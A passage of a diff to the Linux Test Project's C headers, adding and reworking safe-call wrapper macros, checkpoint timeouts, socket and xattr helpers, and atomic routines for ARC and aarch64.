 ifeq ($(strip $(MANPREFIX)),)
diff --git a/include/mk/testcases.mk b/include/mk/testcases.mk
index ea26d4f..f453f4e 100644
--- a/include/mk/testcases.mk
+++ b/include/mk/testcases.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 include $(top_srcdir)/include/mk/env_pre.mk
diff --git a/lib/ltp_priv.h b/include/old/ltp_priv.h
similarity index 97%
rename from lib/ltp_priv.h
rename to include/old/ltp_priv.h
index de45e4a..e678a28 100644
--- a/lib/ltp_priv.h
+++ b/include/old/ltp_priv.h
@@ -59,7 +59,7 @@
                const char *fmt, va_list va) __attribute__((noreturn));
 
 void tst_brk_(const char *file, const int lineno, int ttype,
-              const char *msg, ...) __attribute__((noreturn));
+              const char *msg, ...);
 
 void tst_vres_(const char *file, const int lineno, int ttype,
                const char *fmt, va_list va);
diff --git a/include/old/ltp_signal.h b/include/old/ltp_signal.h
index 294007b..02ee834 100644
--- a/include/old/ltp_signal.h
+++ b/include/old/ltp_signal.h
@@ -22,7 +22,7 @@
  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  *
  * Author: Liu Bo <liubo2009@cn.fujitsu.com>
- * Author: Garrett Cooper <yanegomi@gmail.com>
+ * Author: Ngie Cooper <yaneurabeya@gmail.com>
  *
  */
 
diff --git a/include/old/old_checkpoint.h b/include/old/old_checkpoint.h
index 37bdf92..c8ffc92 100644
--- a/include/old/old_checkpoint.h
+++ b/include/old/old_checkpoint.h
@@ -41,7 +41,10 @@
 	tst_checkpoint_init(__FILE__, __LINE__, cleanup_fn)
 
 #define TST_SAFE_CHECKPOINT_WAIT(cleanup_fn, id) \
-        tst_safe_checkpoint_wait(__FILE__, __LINE__, cleanup_fn, id);
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, cleanup_fn, id, 0);
+
+#define TST_SAFE_CHECKPOINT_WAIT2(cleanup_fn, id, msec_timeout) \
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, cleanup_fn, id, msec_timeout);
 
 #define TST_SAFE_CHECKPOINT_WAKE(cleanup_fn, id) \
         tst_safe_checkpoint_wake(__FILE__, __LINE__, cleanup_fn, id, 1);
@@ -51,6 +54,6 @@
 
 #define TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup_fn, id) \
         tst_safe_checkpoint_wake(__FILE__, __LINE__, cleanup_fn, id, 1); \
-        tst_safe_checkpoint_wait(__FILE__, __LINE__, cleanup_fn, id);
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, cleanup_fn, id, 0);
 
 #endif /* OLD_CHECKPOINT__ */
diff --git a/include/old/old_device.h b/include/old/old_device.h
index 4dae05e..4dbb3ff 100644
--- a/include/old/old_device.h
+++ b/include/old/old_device.h
@@ -42,12 +42,19 @@
  *
  * Returns path to the device or NULL if it cannot be created.
  */
-const char *tst_acquire_device(void (cleanup_fn)(void));
+const char *tst_acquire_device_(void (cleanup_fn)(void), unsigned int size);
+
+const char *tst_acquire_device__(unsigned int size);
+
+static inline const char *tst_acquire_device(void (cleanup_fn)(void))
+{
+	return tst_acquire_device_(cleanup_fn, 0);
+}
 
 /*
  * @dev: device path returned by the tst_acquire_device()
  */
-void tst_release_device(const char *dev);
+int tst_release_device(const char *dev);
 
 /*
  * Just like umount() but retries several times on failure.
diff --git a/include/old/old_safe_file_ops.h b/include/old/old_safe_file_ops.h
index d656823..d6e2d29 100644
--- a/include/old/old_safe_file_ops.h
+++ b/include/old/old_safe_file_ops.h
@@ -38,6 +38,14 @@
 	safe_file_scanf(__FILE__, __LINE__, (cleanup_fn), \
 	                (path), (fmt), ## __VA_ARGS__)
 
+#define FILE_LINES_SCANF(cleanup_fn, path, fmt, ...) \
+	file_lines_scanf(__FILE__, __LINE__, (cleanup_fn), 0, \
+			(path), (fmt), ## __VA_ARGS__)
+
+#define SAFE_FILE_LINES_SCANF(cleanup_fn, path, fmt, ...) \
+	file_lines_scanf(__FILE__, __LINE__, (cleanup_fn), 1, \
+			(path), (fmt), ## __VA_ARGS__)
+
 #define FILE_PRINTF(path, fmt, ...) \
 	file_printf(__FILE__, __LINE__, \
 	            (path), (fmt), ## __VA_ARGS__)
diff --git a/include/old/rmobj.h b/include/old/rmobj.h
deleted file mode 100644
index 4808ca2..0000000
--- a/include/old/rmobj.h
+++ /dev/null
@@ -1,12 +0,0 @@
-#ifndef _RMOBJ_H_
-#define _RMOBJ_H_
-
-/*
- * rmobj() - Remove the specified object.  If the specified object is a
- *           directory, recursively remove everything inside of it.  If
- *           there are any problems, set errmsg (if it is not NULL) and
- *           return -1.  Otherwise return 0.
- */
-int rmobj( char *object , char **errmesg );
-
-#endif
diff --git a/include/old/safe_macros.h b/include/old/safe_macros.h
index 6691a15..e778d30 100644
--- a/include/old/safe_macros.h
+++ b/include/old/safe_macros.h
@@ -26,8 +26,11 @@
 #define SAFE_CHDIR(cleanup_fn, path)	\
 	safe_chdir(__FILE__, __LINE__, (cleanup_fn), (path))
 
-#define SAFE_CLOSE(cleanup_fn, fildes)	\
-	safe_close(__FILE__, __LINE__, (cleanup_fn), (fildes))
+#define SAFE_CLOSE(cleanup_fn, fd) ({ \
+		int ret = safe_close(__FILE__, __LINE__, (cleanup_fn), (fd)); \
+		fd = -1; \
+		ret; \
+	})
 
 #define SAFE_CREAT(cleanup_fn, pathname, mode)	\
 	safe_creat(__FILE__, __LINE__, cleanup_fn, (pathname), (mode))
@@ -67,10 +70,6 @@
 	safe_read(__FILE__, __LINE__, cleanup_fn, (len_strict), (fildes), \
 	    (buf), (nbyte))
 
-#define SAFE_PREAD(cleanup_fn, len_strict, fildes, buf, nbyte, offset)   \
-	safe_pread(__FILE__, __LINE__, cleanup_fn, (len_strict), (fildes), \
-	    (buf), (nbyte), (offset))
-
 #define SAFE_SETEGID(cleanup_fn, egid)	\
 	safe_setegid(__FILE__, __LINE__, cleanup_fn, (egid))
 
@@ -109,10 +108,6 @@
 	safe_write(__FILE__, __LINE__, cleanup_fn, (len_strict), (fildes), \
 	    (buf), (nbyte))
 
-#define SAFE_PWRITE(cleanup_fn, len_strict, fildes, buf, nbyte, offset) \
-	safe_pwrite(__FILE__, __LINE__, cleanup_fn, (len_strict), (fildes), \
-	    (buf), (nbyte), (offset))
-
 #define SAFE_STRTOL(cleanup_fn, str, min, max) \
 	safe_strtol(__FILE__, __LINE__, cleanup_fn, (str), (min), (max))
 
@@ -334,12 +329,12 @@
 	safe_readdir(__FILE__, __LINE__, (cleanup_fn), (dirp))
 
 
-#define SAFE_IOCTL(cleanup_fn, fd, request, ...)             \
-	({int ret = ioctl(fd, request, __VA_ARGS__);         \
-	  ret < 0 ?                                          \
-	   tst_brkm(TBROK | TERRNO, cleanup_fn,              \
-	            "ioctl(%i,%s,...) failed", fd, #request) \
-	 : ret;})
+#define SAFE_IOCTL(cleanup_fn, fd, request, ...)                   \
+	({int ret = ioctl(fd, request, __VA_ARGS__);               \
+	  if (ret < 0)                                             \
+		tst_brkm(TBROK | TERRNO, cleanup_fn,               \
+		         "ioctl(%i,%s,...) failed", fd, #request); \
+	  ret;})
 
 #endif /* __SAFE_MACROS_H__ */
 #endif /* __TEST_H__ */
diff --git a/include/old/test.h b/include/old/test.h
index 9c52a83..b36764d 100644
--- a/include/old/test.h
+++ b/include/old/test.h
@@ -34,6 +34,10 @@
 #ifndef __TEST_H__
 #define __TEST_H__
 
+#ifdef TST_TEST_H__
+# error Newlib tst_test.h already included
+#endif /* TST_TEST_H__ */
+
 #include <stdio.h>
 #include <signal.h>
 #include <unistd.h>
@@ -55,6 +59,7 @@
 #include "tst_pid.h"
 #include "tst_cmd.h"
 #include "tst_cpu.h"
+#include "tst_clone.h"
 #include "old_device.h"
 #include "old_tmpdir.h"
 
@@ -72,8 +77,8 @@
 
 
 /* defines for unexpected signal setup routine (set_usig.c) */
-#define FORK    1		/* SIGCLD is to be ignored */
-#define NOFORK  0		/* SIGCLD is to be caught */
+#define FORK    1		/* SIGCHLD is to be ignored */
+#define NOFORK  0		/* SIGCHLD is to be caught */
 #define DEF_HANDLER SIG_ERR	/* tells set_usig() to use default signal handler */
 
 /*
@@ -152,9 +157,20 @@
 void tst_brkm_(const char *file, const int lineno, int ttype,
 	void (*func)(void), const char *arg_fmt, ...)
 	__attribute__ ((format (printf, 5, 6))) LTP_ATTRIBUTE_NORETURN;
-#define tst_brkm(ttype, func, arg_fmt, ...) \
-	tst_brkm_(__FILE__, __LINE__, (ttype), (func), \
-		  (arg_fmt), ##__VA_ARGS__)
+
+#ifdef LTPLIB
+# include "ltp_priv.h"
+# define tst_brkm(flags, cleanup, fmt, ...) do { \
+	if (tst_test) \
+		tst_brk_(__FILE__, __LINE__, flags, fmt, ##__VA_ARGS__); \
+	else \
+		tst_brkm_(__FILE__, __LINE__, flags, cleanup, fmt, ##__VA_ARGS__); \
+	} while (0)
+#else
+# define tst_brkm(flags, cleanup, fmt, ...) do { \
+		tst_brkm_(__FILE__, __LINE__, flags, cleanup, fmt, ##__VA_ARGS__); \
+	} while (0)
+#endif
 
 void tst_require_root(void);
 void tst_exit(void) LTP_ATTRIBUTE_NORETURN;
@@ -193,18 +209,6 @@
 void maybe_run_child(void (*child)(), const char *fmt, ...);
 int self_exec(const char *argv0, const char *fmt, ...);
 
-/* Functions from lib/cloner.c */
-int ltp_clone(unsigned long flags, int (*fn)(void *arg), void *arg,
-		size_t stack_size, void *stack);
-int ltp_clone7(unsigned long flags, int (*fn)(void *arg), void *arg,
-		size_t stack_size, void *stack, ...);
-int ltp_clone_malloc(unsigned long clone_flags, int (*fn)(void *arg),
-		void *arg, size_t stacksize);
-int ltp_clone_quick(unsigned long clone_flags, int (*fn)(void *arg),
-		void *arg);
-#define clone(...) use_the_ltp_clone_functions,do_not_use_clone
-
-
 /* lib/tst_mkfs.c
  *
  * @dev: path to a device
@@ -212,9 +216,12 @@
  * @fs_opts: NULL or NULL terminated array of mkfs options
  * @extra_opt: extra mkfs option which is passed after the device name
  */
-void tst_mkfs(void (cleanup_fn)(void), const char *dev,
-              const char *fs_type, const char *const fs_opts[],
-              const char *extra_opt);
+#define tst_mkfs(cleanup, dev, fs_type, fs_opts, extra_opt) \
+	tst_mkfs_(__FILE__, __LINE__, cleanup, dev, fs_type, \
+		  fs_opts, extra_opt)
+void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void),
+	       const char *dev, const char *fs_type,
+	       const char *const fs_opts[], const char *extra_opt);
 
 /* lib/tst_net.c
  *
diff --git a/include/safe_file_ops_fn.h b/include/safe_file_ops_fn.h
index cdb0f74..35ec4fb 100644
--- a/include/safe_file_ops_fn.h
+++ b/include/safe_file_ops_fn.h
@@ -35,6 +35,11 @@
 		     const char *path, const char *fmt, ...)
 		     __attribute__ ((format (scanf, 5, 6)));
 
+int file_lines_scanf(const char *file, const int lineno,
+		     void (*cleanup_fn)(void), int strict,
+		     const char *path, const char *fmt, ...)
+		     __attribute__ ((format (scanf, 6, 7)));
+
 /*
  * All-in-one function that lets you printf directly into a file.
  */
diff --git a/include/safe_macros_fn.h b/include/safe_macros_fn.h
index 121a8fb..dcea775 100644
--- a/include/safe_macros_fn.h
+++ b/include/safe_macros_fn.h
@@ -71,10 +71,6 @@
                   void (*cleanup_fn)(void), char len_strict, int fildes,
                   void *buf, size_t nbyte);
 
-ssize_t safe_pread(const char *file, const int lineno,
-                   void (*cleanup_fn)(void), char len_strict,
-                   int fildes, void *buf, size_t nbyte, off_t offset);
-
 int safe_setegid(const char *file, const int lineno,
                  void (*cleanup_fn)(void), gid_t egid);
 
@@ -118,10 +114,6 @@
                    void (cleanup_fn)(void), char len_strict, int fildes,
                    const void *buf, size_t nbyte);
 
-ssize_t safe_pwrite(const char *file, const int lineno,
-                    void (cleanup_fn)(void), char len_strict, int fildes,
-		    const void *buf, size_t nbyte, off_t offset);
-
 long safe_strtol(const char *file, const int lineno,
                  void (cleanup_fn)(void), char *str, long min, long max);
 
diff --git a/include/safe_net_fn.h b/include/safe_net_fn.h
index e85842b..75acf5e 100644
--- a/include/safe_net_fn.h
+++ b/include/safe_net_fn.h
@@ -31,6 +31,16 @@
 int safe_socket(const char *file, const int lineno, void (cleanup_fn)(void),
 		int domain, int type, int protocol);
 
+int safe_setsockopt(const char *file, const int lineno, int sockfd, int level,
+		    int optname, const void *optval, socklen_t optlen);
+
+ssize_t safe_send(const char *file, const int lineno, char len_strict,
+		  int sockfd, const void *buf, size_t len, int flags);
+
+ssize_t safe_sendto(const char *file, const int lineno, char len_strict,
+		    int sockfd, const void *buf, size_t len, int flags,
+		    const struct sockaddr *dest_addr, socklen_t addrlen);
+
 int safe_bind(const char *file, const int lineno, void (cleanup_fn)(void),
 	      int socket, const struct sockaddr *address,
 	      socklen_t address_len);
@@ -45,4 +55,7 @@
 		     void (cleanup_fn)(void), int sockfd, struct sockaddr *addr,
 		     socklen_t *addrlen);
 
+int safe_gethostname(const char *file, const int lineno,
+		     char *name, size_t size);
+
 #endif /* SAFE_NET_FN_H__ */
diff --git a/include/tst_ansi_color.h b/include/tst_ansi_color.h
new file mode 100644
index 0000000..4952999
--- /dev/null
+++ b/include/tst_ansi_color.h
@@ -0,0 +1,35 @@
+/*
+ * Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef TST_ANSI_COLOR_H__
+#define TST_ANSI_COLOR_H__
+/*
+ * NOTE: these colors should match colors defined in tst_flag2color() in
+ * testcases/lib/tst_ansi_color.sh
+ */
+#define ANSI_COLOR_BLUE		"\033[1;34m"
+#define ANSI_COLOR_GREEN	"\033[1;32m"
+#define ANSI_COLOR_MAGENTA	"\033[1;35m"
+#define ANSI_COLOR_RED		"\033[1;31m"
+#define ANSI_COLOR_YELLOW	"\033[1;33m"
+
+#define ANSI_COLOR_RESET	"\033[0m"
+
+char* tst_ttype2color(int ttype);
+int tst_color_enabled(int fd);
+
+#endif	/* TST_ANSI_COLOR_H__ */
diff --git a/include/tst_atomic.h b/include/tst_atomic.h
index b2edcad..35a3b34 100644
--- a/include/tst_atomic.h
+++ b/include/tst_atomic.h
@@ -101,6 +101,57 @@
 
 	return old_val + i;
 }
+
+#elif defined(__arc__)
+
+/*ARCv2 defines the smp barriers */
+#ifdef __ARC700__
+#define smp_mb()
+#else
+#define smp_mb()	asm volatile("dmb 3\n" : : : "memory")
+#endif
+
+static inline int tst_atomic_add_return(int i, int *v)
+{
+	unsigned int val;
+
+	smp_mb();
+
+	asm volatile(
+		"1:	llock   %[val], [%[ctr]]	\n"
+		"	add     %[val], %[val], %[i]	\n"
+		"	scond   %[val], [%[ctr]]	\n"
+		"	bnz     1b			\n"
+		: [val]	"=&r"	(val)
+		: [ctr]	"r"	(v),
+		  [i]	"ir"	(i)
+		: "cc", "memory");
+
+	smp_mb();
+
+	return val;
+}
+
+#elif defined (__aarch64__)
+static inline int tst_atomic_add_return(int i, int *v)
+{
+	unsigned long tmp;
+	int result;
+
+	__asm__ __volatile__(
+"       prfm    pstl1strm, %2	\n"
+"1:     ldxr 	%w0, %2		\n"
+"       add	%w0, %w0, %w3	\n"
+"       stlxr	%w1, %w0, %2	\n"
+"       cbnz	%w1, 1b		\n"
+"       dmb ish			\n"
+	: "=&r" (result), "=&r" (tmp), "+Q" (*v)
+	: "Ir" (i)
+	: "memory");
+
+	return result;
+}
+
 #else /* HAVE_SYNC_ADD_AND_FETCH == 1 */
 # error Your compiler does not provide __sync_add_and_fetch and LTP\
 	implementation is missing for your architecture.
@@ -111,4 +162,9 @@
 	return tst_atomic_add_return(1, v);
 }
 
+static inline int tst_atomic_dec(int *v)
+{
+	return tst_atomic_add_return(-1, v);
+}
+
 #endif	/* TST_ATOMIC_H__ */
diff --git a/include/tst_checkpoint.h b/include/tst_checkpoint.h
index ae5a68b..fdce2d6 100644
--- a/include/tst_checkpoint.h
+++ b/include/tst_checkpoint.h
@@ -21,7 +21,10 @@
 #include "tst_checkpoint_fn.h"
 
 #define TST_CHECKPOINT_WAIT(id) \
-        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id);
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, 0);
+
+#define TST_CHECKPOINT_WAIT2(id, msec_timeout) \
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, msec_timeout);
 
 #define TST_CHECKPOINT_WAKE(id) \
         tst_safe_checkpoint_wake(__FILE__, __LINE__, NULL, id, 1);
@@ -31,7 +34,7 @@
 
 #define TST_CHECKPOINT_WAKE_AND_WAIT(id) \
         tst_safe_checkpoint_wake(__FILE__, __LINE__, NULL, id, 1); \
-        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id);
+        tst_safe_checkpoint_wait(__FILE__, __LINE__, NULL, id, 0);
 
 extern const char *tst_ipc_path;
 extern char *const tst_ipc_envp[];
diff --git a/include/tst_checkpoint_fn.h b/include/tst_checkpoint_fn.h
index ebfd22b..0730fb0 100644
--- a/include/tst_checkpoint_fn.h
+++ b/include/tst_checkpoint_fn.h
@@ -45,7 +45,8 @@
                         unsigned int msec_timeout);
 
 void tst_safe_checkpoint_wait(const char *file, const int lineno,
-                              void (*cleanup_fn)(void), unsigned int id);
+                              void (*cleanup_fn)(void), unsigned int id,
+			      unsigned int msec_timeout);
 
 void tst_safe_checkpoint_wake(const char *file, const int lineno,
                               void (*cleanup_fn)(void), unsigned int id,
diff --git a/include/tst_clone.h b/include/tst_clone.h
new file mode 100644
index 0000000..72145fa
--- /dev/null
+++ b/include/tst_clone.h
@@ -0,0 +1,39 @@
+/*
+ * Copyright (c) 2016 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Further, this software is distributed without any warranty that it is
+ * free of the rightful claim of any third person regarding infringement
+ * or the like.  Any license provided herein, whether implied or
+ * otherwise, applies only to this software file.  Patent licenses, if
+ * any, provided herein do not apply to combinations of this program with
+ * other software, or any other product whatsoever.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.
+ *
+ */
+
+#ifndef TST_CLONE_H__
+#define TST_CLONE_H__
+
+/* Functions from lib/cloner.c */
+int ltp_clone(unsigned long flags, int (*fn)(void *arg), void *arg,
+		size_t stack_size, void *stack);
+int ltp_clone7(unsigned long flags, int (*fn)(void *arg), void *arg,
+		size_t stack_size, void *stack, ...);
+int ltp_clone_malloc(unsigned long clone_flags, int (*fn)(void *arg),
+		void *arg, size_t stacksize);
+int ltp_clone_quick(unsigned long clone_flags, int (*fn)(void *arg),
+		void *arg);
+
+#define clone(...) (use_the_ltp_clone_functions__do_not_use_clone)
+
+#endif	/* TST_CLONE_H__ */
diff --git a/include/tst_cmd.h b/include/tst_cmd.h
index 78c1822..9f4240e 100644
--- a/include/tst_cmd.h
+++ b/include/tst_cmd.h
@@ -92,7 +92,7 @@
 }
 #endif
 
-/* Wrapper function for system(3), ignorcing SIGCLD signal.
+/* Wrapper function for system(3), ignorcing SIGCHLD signal.
  * @command: the command to be run.
  */
 int tst_system(const char *command);
diff --git a/include/tst_common.h b/include/tst_common.h
index 729d7f2..e4466d5 100644
--- a/include/tst_common.h
+++ b/include/tst_common.h
@@ -1,7 +1,7 @@
 /*
  * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  * Copyright (c) 2013 Stanislav Kholmanskikh <stanislav.kholmanskikh@oracle.com>
- * Copyright (c) 2010 Garrett Cooper <yanegomi@gmail.com>
+ * Copyright (c) 2010 Ngie Cooper <yaneurabeya@gmail.com>
  * Copyright (c) 2008 Mike Frysinger <vapier@gmail.com>
  *
  * This program is free software: you can redistribute it and/or modify
diff --git a/include/tst_kernel.h b/include/tst_kernel.h
new file mode 100644
index 0000000..5d5c04c
--- /dev/null
+++ b/include/tst_kernel.h
@@ -0,0 +1,26 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef TST_KERNEL_H__
+#define TST_KERNEL_H__
+
+/*
+ * Returns 32 if we are running on 32bit kernel and 64 if on 64bit kernel.
+ */
+int tst_kernel_bits(void);
+
+#endif	/* TST_KERNEL_H__ */
diff --git a/include/tst_kvercmp.h b/include/tst_kvercmp.h
index e229d66..1349976 100644
--- a/include/tst_kvercmp.h
+++ b/include/tst_kvercmp.h
@@ -35,11 +35,25 @@
 #define TST_KVERCMP_H__
 
 /*
- * Parse string kernel version into three integers.
- *
- * If version has only two numbers, i.e. 2.4 the third integer is set to zero.
+ * The same as tst_kvercmp() but running kernel version is passed as parameter
+ * instead of utilizing uname().
  */
-void tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3);
+int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3);
+
+/*
+ * Parsers string into three integer version.
+ */
+int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3);
+
+/*
+ * Returns distribution name parsed from kernel version string or NULL.
+ */
+const char *tst_kvcmp_distname(const char *cur_kver);
+
+/*
+ * Compares versions up to five version numbers long.
+ */
+int tst_kvexcmp(const char *tst_exv, const char *cur_kver);
 
 /*
  * Compare given kernel version with currently running kernel.
diff --git a/include/tst_mkfs.h b/include/tst_mkfs.h
index 52e9974..d3aea9e 100644
--- a/include/tst_mkfs.h
+++ b/include/tst_mkfs.h
@@ -23,10 +23,12 @@
  * @fs_type: filesystem type
  * @fs_opts: NULL or NULL terminated array of extra mkfs options
  */
-void safe_mkfs(const int lineno, const char *fname, const char *dev,
-               const char *fs_type, const char *const fs_opts[],
-	       const char *extra_opt);
+void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void),
+	       const char *dev, const char *fs_type,
+	       const char *const fs_opts[], const char *extra_opt);
+
 #define SAFE_MKFS(device, fs_type, fs_opts, extra_opt) \
-	safe_mkfs(__LINE__, __FILE__, device, fs_type, fs_opts, extra_opt)
+	tst_mkfs_(__FILE__, __LINE__, NULL, device, fs_type, \
+		  fs_opts, extra_opt)
 
 #endif	/* TST_MKFS_H__ */
diff --git a/include/tst_safe_file_ops.h b/include/tst_safe_file_ops.h
index 74e6791..4d19877 100644
--- a/include/tst_safe_file_ops.h
+++ b/include/tst_safe_file_ops.h
@@ -30,6 +30,18 @@
 	safe_file_scanf(__FILE__, __LINE__, NULL, \
 	                (path), (fmt), ## __VA_ARGS__)
 
+#define FILE_LINES_SCANF(path, fmt, ...) \
+	file_lines_scanf(__FILE__, __LINE__, NULL, 0,\
+			(path), (fmt), ## __VA_ARGS__)
+
+#define SAFE_FILE_LINES_SCANF(path, fmt, ...) \
+	file_lines_scanf(__FILE__, __LINE__, NULL, 1,\
+			(path), (fmt), ## __VA_ARGS__)
+
+#define FILE_PRINTF(path, fmt, ...) \
+	file_printf(__FILE__, __LINE__, \
+		    (path), (fmt), ## __VA_ARGS__)
+
 #define SAFE_FILE_PRINTF(path, fmt, ...) \
 	safe_file_printf(__FILE__, __LINE__, NULL, \
 	                 (path), (fmt), ## __VA_ARGS__)
diff --git a/include/tst_safe_macros.h b/include/tst_safe_macros.h
index a213312..a25a4f0 100644
--- a/include/tst_safe_macros.h
+++ b/include/tst_safe_macros.h
@@ -50,6 +50,22 @@
 #define SAFE_DIRNAME(path) \
 	safe_dirname(__FILE__, __LINE__, NULL, (path))
 
+static inline int safe_dup(const char *file, const int lineno,
+			   int oldfd)
+{
+	int rval;
+
+	rval = dup(oldfd);
+	if (rval == -1) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "dup(%i) failed", oldfd);
+	}
+
+	return rval;
+}
+#define SAFE_DUP(oldfd) \
+	safe_dup(__FILE__, __LINE__, (oldfd))
+
 #define	SAFE_GETCWD(buf, size) \
 	safe_getcwd(__FILE__, __LINE__, NULL, (buf), (size))
 
@@ -81,10 +97,6 @@
 #define SAFE_READ(len_strict, fildes, buf, nbyte) \
 	safe_read(__FILE__, __LINE__, NULL, (len_strict), (fildes), (buf), (nbyte))
 
-#define SAFE_PREAD(len_strict, fildes, buf, nbyte, offset) \
-	safe_pread(__FILE__, __LINE__, NULL, (len_strict), (fildes), \
-	           (buf), (nbyte), (offset))
-
 #define SAFE_SETEGID(egid) \
 	safe_setegid(__FILE__, __LINE__, NULL, (egid))
 
@@ -103,22 +115,16 @@
 #define SAFE_GETRESGID(rgid, egid, sgid) \
 	safe_getresgid(__FILE__, __LINE__, NULL, (rgid), (egid), (sgid))
 
-static inline int safe_setpgid(const char *file, const int lineno,
-                               pid_t pid, pid_t pgid)
-{
-	int rval;
+int safe_setpgid(const char *file, const int lineno, pid_t pid, pid_t pgid);
 
-	rval = setpgid(pid, pgid);
-	if (rval) {
-		tst_brk_(file, lineno, TBROK | TERRNO,
-		         "setpgid(%i, %i) failed", pid, pgid);
-	}
-
-	return rval;
-}
 #define SAFE_SETPGID(pid, pgid) \
 	safe_setpgid(__FILE__, __LINE__, (pid), (pgid));
 
+pid_t safe_getpgid(const char *file, const int lineno, pid_t pid);
+
+#define SAFE_GETPGID(pid) \
+	safe_getpgid(__FILE__, __LINE__, (pid))
+
 #define SAFE_UNLINK(pathname) \
 	safe_unlink(__FILE__, __LINE__, NULL, (pathname))
 
@@ -138,10 +144,6 @@
 #define SAFE_WRITE(len_strict, fildes, buf, nbyte) \
 	safe_write(__FILE__, __LINE__, NULL, (len_strict), (fildes), (buf), (nbyte))
 
-#define SAFE_PWRITE(len_strict, fildes, buf, nbyte, offset) \
-	safe_pwrite(__FILE__, __LINE__, NULL, (len_strict), (fildes), \
-	            (buf), (nbyte), (offset))
-
 #define SAFE_STRTOL(str, min, max) \
 	safe_strtol(__FILE__, __LINE__, NULL, (str), (min), (max))
 
@@ -395,4 +397,37 @@
 #define SAFE_SIGNAL(signum, handler) \
 	safe_signal(__FILE__, __LINE__, (signum), (handler))
 
+#define SAFE_EXECLP(file, arg, ...) do {                   \
+	execlp((file), (arg), ##__VA_ARGS__);              \
+	tst_brk_(__FILE__, __LINE__, TBROK | TERRNO,       \
+	         "execlp(%s, %s, ...) failed", file, arg); \
+	} while (0)
+
+int safe_getpriority(const char *file, const int lineno, int which, id_t who);
+#define SAFE_GETPRIORITY(which, who) \
+	safe_getpriority(__FILE__, __LINE__, (which), (who))
+
+int safe_setxattr(const char *file, const int lineno, const char *path,
+            const char *name, const void *value, size_t size, int flags);
+#define SAFE_SETXATTR(path, name, value, size, flags) \
+	safe_setxattr(__FILE__, __LINE__, (path), (name), (value), (size), (flags))
+
+int safe_lsetxattr(const char *file, const int lineno, const char *path,
+            const char *name, const void *value, size_t size, int flags);
+#define SAFE_LSETXATTR(path, name, value, size, flags) \
+	safe_lsetxattr(__FILE__, __LINE__, (path), (name), (value), (size), (flags))
+
+int safe_fsetxattr(const char *file, const int lineno, int fd, const char *name,
+            const void *value, size_t size, int flags);
+#define SAFE_FSETXATTR(fd, name, value, size, flags) \
+	safe_fsetxattr(__FILE__, __LINE__, (fd), (name), (value), (size), (flags))
+
+int safe_removexattr(const char *file, const int lineno, const char *path,
+		const char *name);
+#define SAFE_REMOVEXATTR(path, name) \
+	safe_removexattr(__FILE__, __LINE__, (path), (name))
+
+int safe_fsync(const char *file, const int lineno, int fd);
+#define SAFE_FSYNC(fd) safe_fsync(__FILE__, __LINE__, (fd))
+
 #endif /* SAFE_MACROS_H__ */
diff --git a/include/tst_safe_net.h b/include/tst_safe_net.h
index 98dcfa5..1fdd5de 100644
--- a/include/tst_safe_net.h
+++ b/include/tst_safe_net.h
@@ -29,6 +29,16 @@
 #define SAFE_SOCKET(domain, type, protocol) \
 	safe_socket(__FILE__, __LINE__, NULL, domain, type, protocol)
 
+#define SAFE_SETSOCKOPT(fd, level, optname, optval, optlen) \
+	safe_setsockopt(__FILE__, __LINE__, fd, level, optname, optval, optlen)
+
+#define SAFE_SEND(strict, sockfd, buf, len, flags) \
+	safe_send(__FILE__, __LINE__, strict, sockfd, buf, len, flags)
+
+#define SAFE_SENDTO(strict, fd, buf, len, flags, dest_addr, addrlen) \
+	safe_sendto(__FILE__, __LINE__, strict, fd, buf, len, flags, \
+		    dest_addr, addrlen)
+
 #define SAFE_BIND(socket, address, address_len) \
 	safe_bind(__FILE__, __LINE__, NULL, socket, address, \
 		  address_len)
@@ -43,4 +53,7 @@
 	safe_getsockname(__FILE__, __LINE__, NULL, sockfd, addr, \
 			 addrlen)
 
+#define SAFE_GETHOSTNAME(name, size) \
